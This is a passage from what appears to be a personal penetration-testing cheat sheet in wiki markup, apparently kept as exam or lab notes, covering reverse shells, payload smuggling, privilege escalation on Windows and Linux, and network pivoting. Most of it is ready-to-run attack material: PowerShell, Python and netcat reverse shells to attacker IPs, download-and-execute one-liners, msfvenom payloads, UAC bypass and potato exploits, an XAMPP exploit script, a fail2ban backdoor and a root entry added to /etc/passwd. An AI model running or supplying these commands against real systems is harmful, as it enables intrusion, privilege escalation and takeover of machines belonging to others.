powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
</syntaxhighlight>

<syntaxhighlight lang="powershell">
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
</syntaxhighlight>

=== Powershell base64 encoded reverse shell payload ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
</syntaxhighlight>

=== Powercat ===

<syntaxhighlight lang="bash">
powercat -c 10.11.0.4 -p 443 -e cmd.exe
</syntaxhighlight>

=== Python ===

<syntaxhighlight lang="python">
import os,pty,socket;s=socket.socket();s.connect(("192.168.49.169",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
</syntaxhighlight>

=== Stabilize shell (Interactive shell) ===

==== Linux ====

<syntaxhighlight lang="bash">
python -c 'import pty;pty.spawn(“/bin/bash”)'
export TERM=xterm
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.
https://blog.aghanim.net/?p=1043
</syntaxhighlight>

==== Windows ====

<syntaxhighlight lang="bash">
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1
# 1. Edit Nishang script and add
Invoke-PowerShellTcp -Reverse -IpAddress -Port
# 2. Start a new netcat listener
# 3. Start simple http.severe where the nishang script is
# 4. On target. (Make sure powershell is enabled and allowed to use)
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1')
</syntaxhighlight>

=== Fix TTY in reverse shell ===

<syntaxhighlight lang="bash">
# In our shell. Remember the rows anc cols
stty -a
# On victim shell
stty rows cols
</syntaxhighlight>

----

== PackMyPayload ==

[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag & demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]

Smuggle payloads using various file formats:

* <code>7zip</code>

* <code>zip</code>

* <code>ISO</code>

* <code>IMG</code>

<syntaxhighlight lang="bash">
# Pack a dir to .iso
PackMyPayload.py C:\my\dir malicious.iso -v
# Pack a malicious code to .vhd
PackMyPayload.py .\evil.lnk .\evil.vhd
</syntaxhighlight>

== Persistence ==

=== Windows ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]

=== Linux ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]

----

== Phishing ==

=== Bypass 2-Fa ===

[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]

[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]

----

== Programming ==

=== Control flow - Logic Statement ===

{| class="wikitable"
|-
| Logic Statement
| Purpose
|-
| if/else
| Executes only if a condition is met, else it will execute a different code block
|-
| try/catch
| Will try to execute a code block and catch it if it fails to handle errors.
|-
| switch case
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default
|-
| for/while loop
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.
|}

----

== Privilege Escalation ==

=== Windows ===

==== Admin Account Credentials ====

[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]

<syntaxhighlight lang="bash">
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas
runas /profile /user:Administrator "nc.exe -e cmd 192.168.49.169 443"
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method is if the shell is non-interactive is to use a powershell script.
# Save this on your Kali and start a HTTP.server.
$password = ConvertTo-SecureString "lab" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("Administrator", $password)
Start-Process -Credential $credential -FilePath "C:\Users\Offsec\Desktop\ProcessHollow.exe"
# Now on the shell you have, run this command.
iex(new-object net.webclient).downloadstring('http://192.168.45.198/test.ps1')
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Another method again is to RDP to the target if possible and Run As.
</syntaxhighlight>

==== AlwaysInstallElevated ====

If these two registers are enabled then users of any privilege can install '''.msi '''files as NT AUTHORITY\SYSTEM

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
# If 0x1 then its enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Msfvenom payload
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
# The above is better for persistence
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi > rev_shell.msi # Recommeded if not AD.
# Execute
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

----------------
# The above command will probably be detected by AV. You can compile your own .msi.
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated
PS C:\WiX Toolset v3.11\bin> .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)
-------------------------------------------
# You can also use MSI Wrapper.
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
------------------------------------------
# There is also a metasploit module, but it needs a bit tweaking
exploit/windows/local/always_install_elevated
# In the multi handler do the following
set DisablePayloadHandler true - # Disable built-in listener
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload
run -j -z - # Background listener
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > set VERBOSE true
msf6 exploit(windows/local/always_install_elevated) > set payload windows/exec
msf6 exploit(windows/local/always_install_elevated) > set session 1
# The encoded powershell command do 'whoami > C:\whoami.txt' to verify that it works
msf6 exploit(windows/local/always_install_elevated) > set cmd 'powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA='
msf6 exploit(windows/local/always_install_elevated) > run
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run
msf6 exploit(windows/local/always_install_elevated) > set cmd 'C:\proc_hol.exe'
msf6 exploit(windows/local/always_install_elevated) > run
# You should get a callback to your meterpreter listener.
</syntaxhighlight>

[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]

==== BarracudaDrive 6.5 ====

<syntaxhighlight lang="bash">
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html
</syntaxhighlight>

==== Bypass UAC ====

[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]

<syntaxhighlight lang="bash">
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy Level shell, we might bypass uac.
# Notice the last line, "Mandatory Label\Medium Mandatory Level"
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

# Next check if UAC is enabled
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
# We then have to find a binary that have "autoElevate" set to true.
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate
true
# Then we have to generate a payload using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe > shell.exe
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c
# Compile the above code
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe
# Transfer the binary to target and execute
.\eventvwr-bypassuac-64.exe
# Check your listener and then run "whoami /groups" again and check last line.
Mandatory Label\High Mandatory Level Label S-1-16-12288
# This means you can run elevated commands. Dumping hashes etc.
</syntaxhighlight>

==== CVE ====

===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====

<syntaxhighlight lang="bash">
# https://github.com/apt69/COMahawk
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka 'Windows UPnP Service Elevation of Privilege Vulnerability'.
# Method 1
.\COMahawk64.exe
[\] Progress: 1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.
# Method 2
.\COMahawk64.exe "C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443"
</syntaxhighlight>

==== HiveNightmare ====

<syntaxhighlight lang="bash">
# https://github.com/GossiTheDog/HiveNightmare
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).

</syntaxhighlight>

==== LAPS ====

<syntaxhighlight lang="bash">
# If we have valid creds for LDAP we can query LDAP for the local admin password.
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -h 192.168.120.108 "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory.
</syntaxhighlight>

==== Potatos (SeimpersonatePrivilege) ====

[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]

* If the machine is >= Windows 10 1809 & Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]

* If the machine is < Windows 10 1809 < Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]

===== Finding CLSID =====

[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]

<syntaxhighlight lang="powershell">
function Lookup-Clsid
{
Param([string]$clsid)
$CLSID_KEY = 'HKLM:\SOFTWARE\Classes\CLSID'
If ( Test-Path $CLSID_KEY\$clsid) {
$name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).'(default)'
$dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).'(default)'
}
$name, $dll
}
</syntaxhighlight>

===== Hot Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/foxglovesec/Potato
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true
</syntaxhighlight>

===== Rotten Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/breenmachine/RottenPotatoNG
After having a meterpreter shell with incognito mode loaded:
MSFRottenPotato.exe t c:\windows\temp\test.bat
</syntaxhighlight>

===== Lonely Potato =====

<syntaxhighlight lang="bash">
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.
https://github.com/decoder-it/lonelypotato
</syntaxhighlight>

===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====

<syntaxhighlight lang="bash">
# Download repository
https://github.com/ohpe/juicy-potato
https://github.com/antonioCoco/JuicyPotatoNG
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe
</syntaxhighlight>

===== Rogue Potato =====

<syntaxhighlight lang="bash">
# Download binary
https://github.com/antonioCoco/RoguePotato
# Run in your machine the socat redirection (replace VICTIM_IP):
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
# Execute PoC (replace YOUR_IP and command):
.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999
</syntaxhighlight>

===== GodPotato =====

[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]

Enables privilege escalation in Windows 2012 - Windows 2022

<syntaxhighlight lang="bash">
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
</syntaxhighlight>

===== SharpEfsPotato =====

[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]

<syntaxhighlight lang="bash">
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
</syntaxhighlight>

===== PrintSpoofer =====

[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]

<syntaxhighlight lang="bash">
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:
PrintSpoofer.exe -i -c cmd
</syntaxhighlight>

==== Se-privileges ====

===== Great list and explanation =====

[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]

<syntaxhighlight lang="bash">
# This ppt will explain how to exploit different SePrivileges
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
</syntaxhighlight>

===== SeManageVolume =====

<syntaxhighlight lang="bash">
https://github.com/xct/SeManageVolumeAbuse
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume
</syntaxhighlight>

===== SeLoadDriverPrivilege =====

<syntaxhighlight lang="bash">
# See writeup for PG Fuse
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System
</syntaxhighlight>

===== SeRestorePrivilege =====

<syntaxhighlight lang="bash">
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.
# See PG Heist writeup
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.
# Example of ways to escalate privilege
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
# Now RDP to target without logging in. Then press win+u
rdesktop 192.168.153.165
</syntaxhighlight>

[[File:2022-11-image-2.png|thumb]]

===== SeBackupPrivilege =====

<syntaxhighlight lang="bash">
# SeBackUpPrivilege basically allows for full system read.
# See if user is member of 'Backup Operator'.
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf
# https://github.com/giuliano108/SeBackupPrivilege
# Example 1
PS C:\scripts> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\scripts> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS C:\scripts> Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup
SeBackupPrivilege is disabled
PS C:\scripts> dir E:\V_BASE
Get-ChildItem : Access to the path 'E:\V_BASE' is denied.
At line:1 char:4
+ dir Set-SeBackupPrivilege
PS C:\scripts> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\scripts> dir E:\V_BASE # ...having enabled the privilege, this now works

Directory: E:\V_BASE

Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 18/07/2013 13:04 Private
PS C:\scripts> cd E:\V_BASE\Private
PS E:\V_BASE\Private> dir

Directory: E:\V_BASE\Private

Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 05/07/2013 12:29 306435 report.pdf
PS E:\V_BASE\Private> Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite
Copied 306435 bytes
PS E:\V_BASE\Private>

-------------------
# Example 2
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
</syntaxhighlight>

===== SeCreateTokenPrivilege =====

<syntaxhighlight lang="bash">
# https://www.greyhathacker.net/?p=1025
Try running it many times
</syntaxhighlight>

==== SMBGhost ====

<syntaxhighlight lang="bash">
# CVE-2020-0796
# https://github.com/danigargu/CVE-2020-0796
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp
# Compile it. Change 'debug' to 'release', set correct architecture.
# Transfer to target
.\cve-2020-0796.exe
</syntaxhighlight>

==== Software ====

===== Iperius Backup 6.1.0 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/46863
</syntaxhighlight>

===== SystemScheduler =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/45072
</syntaxhighlight>

==== Unquoted Service Path ====

<syntaxhighlight lang="bash">
# In order to exploit Unquoted service path we have to:
# - Be able to write to the target folder - Use icacls
# - Be able to restart the service or machine
# Exmaple (10.1.1.89)
icacls enterprisesystemmanager.exe # We have modify permissions
# Generate a payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.130 LPORT=443 -f exe > enterprisesystemmanager.exe
# Move original .exe to .bak
move enterprisesystemmanager.exe enterprisesystemmanger.exe.bak
# Transfer our payload to target location - C:\exacqVisionEsm\EnterpriseSystemManager
certutil -urlcache -split -f "http://192.168.119.130/enterprisesystemmanager.exe"
# Catche the connection
rlwrap nc -lvnp 443 1 ⨯
listening on [any] 443 ...
connect to [192.168.119.130] from (UNKNOWN) [10.11.1.251] 19085
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
</syntaxhighlight>

==== Windows XP SP0/SP1 - UPNP service exploit ====

<syntaxhighlight lang="bash">
# https://sohvaxus.github.io/content/winxp-sp1-privesc.html
# Requirenment: Obtained a low privilege shell on your victim's computer. Operating system is Windows XP with SP0 or SP1 installed.
# See write up for PWK 10.11.1.14.
</syntaxhighlight>

==== Windows Exploit Suggester ====

<syntaxhighlight lang="python">
python2 windows-exploit-suggester.py --systeminfo sys.txt -d 2022-01-14-mssb.xls
</syntaxhighlight>

==== Windows Kernel Exploit list ====

<syntaxhighlight lang="bash">
https://github.com/SecWiki/windows-kernel-exploits
</syntaxhighlight>

==== xampp 7.3 ====

<syntaxhighlight lang="bash">
┌──(root💀kali)-[/home/aghanim/Desktop/PG/monster]
└─# cat exploit.ps1
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@LeoBreaker1411 / deathflash1411)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\Users\Mike\Downloads\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fil
</syntaxhighlight>

=== Linux ===

==== CVE ====

===== CVE-2009-2698 (Centos 4.8) =====

<syntaxhighlight lang="bash">
https://github.com/xiaoxiaoleo/CVE-2009-2698
</syntaxhighlight>

===== CVE-2021-4034 (polkit) =====

<syntaxhighlight lang="bash">
# https://github.com/joeammond/CVE-2021-4034
# Check suid and see if /usr/bin/pkexec is present and python
# Then compile and run
</syntaxhighlight>

===== CVE-2023–22809 (bypass sudo) =====

<syntaxhighlight lang="bash">
# https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

</syntaxhighlight>

==== Fail2ban ====

<syntaxhighlight lang="bash">
# See PG Fail writeup
# Example reverse shell
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
#actionban = -I f2b- 1 -s -j
actionban = /usr/bin/nc -e /bin/sh 192.168.49.243 9999
</syntaxhighlight>

==== Linux Kernel exploits ====

<syntaxhighlight lang="bash">
# Linux versions
# 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
https://www.exploit-db.com/exploits/15285
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4)
https://www.exploit-db.com/exploits/44298
# Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27)
https://www.exploit-db.com/exploits/45010
</syntaxhighlight>

==== Copy Fail - CVE-2026-31431 ====
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py

==== Dirty Frag: Universal Linux LPE ====
<syntaxhighlight lang="bash">
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
</syntaxhighlight>

==== ld_reload - Dynamic library hijacking ====

<syntaxhighlight lang="bash">
# If binary is missing a library AND you have write permission to library location, you can hijack the library by adding a malicous one
# List Dynamic Dependencies = ldd
# Ldd is a powerful command-line tool that allows users to view an executable file's shared object dependencies.
ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe11833000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007f6ce440c000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6ce47da000)
# Generate .so payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.160 LPORT=21 -f elf-so > utils.so
</syntaxhighlight>

==== SUID ====

<syntaxhighlight lang="bash">
find / -perm -u=s -type f 2>/dev/null
</syntaxhighlight>

==== Setuid Screen 4.5.0 ====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/41154
</syntaxhighlight>

==== Sudo ====

[https://github.com/saleemrashid/sudo-cve-2019-18634 https://github.com/saleemrashid/sudo-cve-2019-18634]

[https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit]

==== Systemctl (Misconfigured Permissions — sudo/SUID) ====

[https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49 https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49]

[https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium][https://blog.aghanim.net/wp-content/uploads/2022/11/Privilege-Escalation_-Systemctl-Misconfigured-Permissions-—-sudo_SUID-_-by-Samuel-Whang-_-Medium.pdf Download]

==== Sudo permission to run apache restart ====

<syntaxhighlight lang="bash">
# If your user have these permissions
(root) NOPASSWD: /usr/sbin/service apache2 restart
# First check what file you have write permission to.
# If not, check if there are any bash scripts that can be edited and place a backdoor in it.
# Example
# envvars in /etc/apache2 is writeable.
# Change to another user if there are any on the machine
export APACHE_RUN_USER=DifferentUser
# REMEMBER, APACHE WONT LET YOU RUN IT AS ROOT.
</syntaxhighlight>

==== Software ====

===== Exim 4.84-3 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/39535
# If error, fix with
sed -i -e 's/\r$//' 39535.sh
</syntaxhighlight>

===== OpenSMTPD 6.4.0 < 6.6.1 =====

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/48051
</syntaxhighlight>

==== Writeable passwd ====

<syntaxhighlight lang="bash">
# Generate hashed password
openssl passwd -1 -salt aghanim pass123
# Add to passwd on target
aghanim:$1$aghanim$VVrajbhbmkAgYcpIGLIuY1:0:0:root:/root:/bin/bash
</syntaxhighlight>

----

== Pivoting/tunneling technique ==

[https://blog.aghanim.net/?p=2294 https://blog.aghanim.net/?p=2294]

[https://trojand.com/cheatsheet/Network/Connections/SSH_Tunneling.html SSH Tunneling + SSHuttle and Chisel - Cheatsheet (trojand.com)]

[https://cheatsheet.haax.fr/network/pivot_techniques/ Offensive Security Cheatsheet (haax.fr)]

[https://github.com/twelvesec/port-forwarding GitHub - twelvesec/port-forwarding: Tunneling and Port Forwarding Cheat Sheet]

=== Chisel ===

<syntaxhighlight lang="bash">
# CHISEL AND PROXYCHAINS AND FOXYPROXY
# Using Chisel to make a proxy. Notice that the proxy port opens on 1080, rather than listening port (37777).
# Attacker machine
chisel server -p 37777 --reverse
# Target machine
./chisel client Attacker-IP:37777 R:socks
# Now in Proxychain config file /etc/proxychains4.conf add the proxy port
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
# Now when you run can reach other target on the network using proxychains. So it looks like this Attacker machine --SOCKS proxy --> 10.200.57.200 on port 1080 --> 10.200.57.150 (Unreachable from attacker).
proxychains nc -vn 10.200.57.150 3389
# Or in the case of the THM box Wreath. If I want to run the GitStack exploit from my attacker to 10.200.57.150 (Which is unreachable withouth proxy or tunnel).
proxychains python2 exploit.py.
# OR by using foxy proxy if I want to access http.
# Add a new proxy. Proxy type = SOCKS5 (chisel uses socks5), IP = 127.0.0.1, Port = Proxy prot (1080).
# And start foxy proxy. Now I can access the webserver on.
# I can also use proxychains to access HTTP.
proxychains firefox.
# This will open firefox through proxychains.

# Using SOCKS5 with chisel
./chisel server -v -p 8000 --socks5
# On the client/target/victim machine
chisel.exe client -v attacker.com:8000 socks
</syntaxhighlight>

=== Ligolo-ng ===

[https://github.com/nicocha30/ligolo-ng https://github.com/nicocha30/ligolo-ng]

<syntaxhighlight lang="bash">
#### LINUX
# Prepare tunnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy on kali
./proxy -laddr 192.168.45.195:53 -selfcert
# On target
./agent -connect 192.168.45.195:53 -ignore-cert
# See session in ligolo proxy
ligolo-ng» session
# Add pivot to internal network on kali
sudo ip r add 172.16.213.0/24 dev ligolo
# Check ip route
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
172.16.213.0/24 dev ligolo scope link
192.168.45.0/24 dev tun0 proto kernel scope link src 192.168.45.195
192.168.213.0/24 via 192.168.45.254 dev tun0

# In ligolo - in correct session
[Agent: user@target] » start
</syntaxhighlight>

<syntaxhighlight lang="bash">
#### WINDOWS
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:
# Download Ligolo-ng Proxy:
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.
# Install Wintun Driver:
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.
# Download the appropriate wintun.dll from the Wintun repository.
# Place the wintun.dll file in the same directory as proxy.exe.
# Run the Proxy:
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.
# Execute the proxy with a self-signed certificate:
proxy.exe -selfcert
# This command starts the proxy server with a self-signed TLS certificate.
# Configure the Agent:
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:
agent.exe -connect :11601 -ignore-cert
# Replace with the actual IP address of your proxy machine.
# Manage Sessions:
# In the proxy's command interface, use the session command to list active sessions.
# Select the desired session to interact with the connected agent.
# Start Tunneling:
